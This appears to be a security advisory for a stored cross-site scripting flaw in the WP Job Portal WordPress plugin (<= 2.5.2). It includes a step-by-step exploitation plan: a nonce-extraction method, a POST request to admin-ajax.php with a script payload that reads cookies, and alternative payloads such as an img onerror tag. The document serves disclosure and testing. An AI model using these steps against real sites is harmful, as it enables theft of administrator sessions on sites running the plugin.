WP Job Portal – AI-Powered Recruitment System for Company or Job Board website <= 2.5.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.5.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-48880 ## 1. Vulnerability Summary The **WP Job Portal** plugin (<= 2.5.2) contains a **Stored Cross-Site Scripting (XSS)** vulnerability. The vulnerability exists in the plugin's centralized AJAX handling mechanism. Specifically, the `WPJOBPORTALajax::ajaxhan…
Show full research plan
Exploitation Research Plan - CVE-2026-48880
1. Vulnerability Summary
The WP Job Portal plugin (<= 2.5.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's centralized AJAX handling mechanism. Specifically, the WPJOBPORTALajax::ajaxhandler function in includes/ajax.php allows authenticated users (with Subscriber/Jobseeker roles) to call a wide range of internal "tasks" across various modules. Many of these tasks (such as job applications or resume updates) store user-supplied input in the database without proper sanitization. Furthermore, the AJAX handler echoes the results of these tasks directly to the page without escaping, and the stored data is subsequently rendered unsanitized in administrative or employer-facing views.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpjobportal_ajax - Vulnerable Parameters:
task,wpjobportalme, and module-specific data parameters (e.g.,message,tag_name,comment). - Authentication: Required (Subscriber/Jobseeker level).
- Vulnerable Hook:
wp_ajax_wpjobportal_ajaxandwp_ajax_nopriv_wpjobportal_ajaxinincludes/ajax.php. - Preconditions: A Jobseeker account is needed to access the dashboard and perform actions like applying for jobs or managing resumes.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwith the actionwpjobportal_ajax. - Dispatcher:
includes/ajax.phpcallsWPJOBPORTALajax::ajaxhandler(). - Task Validation: The function checks if the requested
taskis in the$fucntin_allowedarray. - Module Loading: It retrieves the
wpjobportalmeparameter (the module name) and sanitizes it viasanitize_key(). - Dynamic Call: It uses
WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task()to execute the logic. - Persistence (Sink): If the task is
jobapplyorstoreResumeComments, the model saves the user-provided input (like a message or comment) into the database (typically inwj_portal_job_applyor similar custom tables). - Rendering (Sink): When an Admin or Employer views the "Applied Jobs" or "Resume" section, the stored malicious script is executed in their browser context.
4. Nonce Acquisition Strategy
The AJAX handler in includes/ajax.php does not perform a nonce check (check_ajax_referer) at the dispatcher level. However, individual model functions may verify a nonce. To obtain a valid nonce for a Jobseeker:
- Setup Page: Create a page containing the Jobseeker Control Panel shortcode:
wp post create --post_type=page --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]' - Navigate: Use
browser_navigateto visit the newly created page. - Extract: The plugin localizes its variables in a global JavaScript object, typically
wjportal_objorwpjobportal_vars. - Tool Call: Use
browser_evalto find the nonce:browser_eval("window.wjportal_obj?.nonce || window.wpjobportal_vars?.nonce") - Manual Check: If the variable name differs, inspect the page source for
wp_localize_scriptoutput near thewp-job-portalJS inclusions.
5. Exploitation Strategy
We will use the jobapply task, as it is a common way for Jobseekers to interact with Employers/Admins.
Step 1: Identify a Target Job
Identify an existing job ID. If none exists, create one via WP-CLI:wp post create --post_type=job --post_title="Target Job" --post_status=publish (Note: job is the custom post type for this plugin).
Step 2: Perform the Injection
Submit a job application with an XSS payload in the message field.
- Request Type: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:wpjobportal_ajaxtask:jobapplywpjobportalme:jobjobid:[JOB_ID]message:<script>alert(document.cookie)</script>resumeid:0(or a valid resume ID if one exists)nonce:[EXTRACTED_NONCE]
Step 3: Trigger the XSS
Log in as an Administrator and navigate to the Job Portal -> Applied Jobs section in the WordPress dashboard. The script will execute when the list of applications is rendered.
6. Test Data Setup
- Plugin Configuration: Ensure the plugin is active.
- User Creation:
- Create an admin user (for verification).
- Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber.
- Shortcode Page:
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]'
- Job Listing:
- Ensure at least one job exists for the application to target.
7. Expected Results
- The AJAX request should return a success message (e.g., "Applied Successfully").
- Upon viewing the "Applied Jobs" table in the admin panel, an alert box showing the admin's cookies should appear.
- The database entry for the application should contain the raw
<script>tag.
8. Verification Steps
- Check Database:
Use WP-CLI to inspect the application data:wp db query "SELECT message FROM wp_wj_portal_job_apply ORDER BY id DESC LIMIT 1;"
Verify the output contains the unescaped script tag. - Simulate View:
Navigate to the admin page/wp-admin/admin.php?page=wpjobportal_appliedjobs(inferred slug) and check if the payload triggers.
9. Alternative Approaches
- Task:
storeResumeComments: If thejobapplytask is patched, try adding a comment to a resume.task:storeResumeCommentswpjobportalme:resumecomment:<img src=x onerror=alert(1)>
- Task:
saveTokenInputTag: Inject XSS into "Skills" or "Tags" which are often rendered in profile headers.task:saveTokenInputTagwpjobportalme:resumetag_name:XSS_PAYLOAD
- Unauthenticated Check: Test if
nopriv_wpjobportal_ajaxactually allows these tasks without login, as suggested by the registration inincludes/ajax.php. If so, the severity is High.
Summary
The WP Job Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via its centralized AJAX handler in versions up to 2.5.2. Authenticated attackers with Subscriber or Jobseeker privileges can inject malicious scripts into fields such as job application messages or resume comments, which are stored in the database and executed when an administrator or employer views the content.
Vulnerable Code
// includes/ajax.php line 30 function ajaxhandler() { $fucntin_allowed = array('DataForDepandantFieldResume', 'DataForDepandantField', 'saveJobShortlist', 'saveJobShortlistJobManager', 'getQuickViewByJobId', 'getShortListViewByJobId', 'getShortListViewByJobIdJobPortal', 'getApplyNowByJobid', 'jobapply', 'jobapplyjobmanager', 'getTellaFriend', 'getTellaFriendJobManager', 'deletecompanylogo', 'deleteResumeLogo', 'getuserlistajax', 'getLogForUserById', 'getFieldsForComboByFieldFor', 'getSectionToFillValues', 'getUserIdByCompanyid', 'changeNotifyOfNotifications', 'changeViewOfNotifications', 'getOptionsForFieldEdit', 'listdepartments', 'saveTokenInputTag', 'makeJobCopyAjax', 'getsubcategorypopup', 'updateJobApplyResumeStatus', 'getResumeCommentSection', 'getFolderSection', 'saveToFolderResume', 'storeResumeComments', 'setResumeRatting', 'getResumeDetail', 'getEmailFields', 'jobapplyid', 'getFolderSection', 'getFolderSectionJobManager', 'saveToFolderResume', 'sendEmailToJobSeeker', 'setJobApplyRating', 'getResumeDetailJobManager', 'getEmailFieldsJobManager', 'hideTemplateBanner', 'getListTranslations', 'validateandshowdownloadfilename', 'getlanguagetranslation', 'getPacakageListByUid', 'canceljobapplyasvisitor', 'visitorapplyjob', 'removeResumeFileById', 'getResumeSectionAjax', 'deleteResumeSectionAjax', 'getOptionsForEditSlug', 'getAllRoleLessUsersAjax', 'getNextJobs', 'getNextTemplateJobs','savetokeninputcity','sendmessageresume', 'sendmailtofriend', 'getJobApplyDetailByid', 'setListStyleSession','sendmailtofriendJobManager', 'getResumeCommentSectionJobManager', 'getPaymentPopup','getPackagePopupForFeaturedCompany','getPackagePopupForFeaturedJob','getPackagePopupForFeaturedResume', 'getPackagePopupForJobAlert','getPackagePopupJobView','getPackagePopupForCopyJob','getPackagePopupForCompanyContactDetail', 'getPackagePopupForResumeContactDetail','gettagsbytagname','listDepartments','getPackagePopupForDepartment','deleteUserPhoto', 'getStripePlans','downloadandinstalladdonfromAjax','getChildForVisibleCombobox','isFieldRequired','getFieldsForComboBySection', 'getUserRoleBasedInfo','storeConfigurationSingle','importZywrapData','checkZywrapApiKey','importZywrapBatchProcess', 'getWrappersByCategory','executeZywrapProxy','getZywrapAllWrappers','getSchemaByUseCode','getAjaxJobs'); $wpjobportal_task = WPJOBPORTALrequest::getVar('task'); if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){ $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme'); // $wpjobportal_module = str_replace("..","",$wpjobportal_module); // $wpjobportal_module = str_replace("/","",$wpjobportal_module); $wpjobportal_module = sanitize_key( $wpjobportal_module ); $wpjobportal_result = WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentional raw response (AJAX / HTML) echo $wpjobportal_result; die(); }else{ die('Not Allowed!'); } }
Security Fix
@@ -468,7 +468,7 @@ ('searchjobtag', '4', 'job', 'tag'), ('categories_colsperrow', '3', 'category', NULL), ('productcode', 'wpjobportal', 'default', NULL), - ('versioncode', '2.5.2', 'default', NULL), + ('versioncode', '2.5.3', 'default', NULL), ('producttype', 'free', 'default', NULL), ('vis_jscredits', '0', 'jscontrolpanel', 'credits'), ('vis_emcredits', '1', 'emcontrolpanel', NULL),
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a user with Subscriber or Jobseeker privileges. By visiting a page containing the plugin's control panel shortcode, they extract a valid AJAX nonce from the localized JavaScript objects (e.g., 'wjportal_obj'). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'wpjobportal_ajax' and the 'task' set to 'jobapply'. Within the 'message' parameter, the attacker includes a malicious script. Because the dispatcher dynamically calls the model function without sanitizing this input, the script is stored in the database. The XSS triggers when an Administrator or Employer views the 'Applied Jobs' section in the WordPress dashboard, causing the script to execute in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.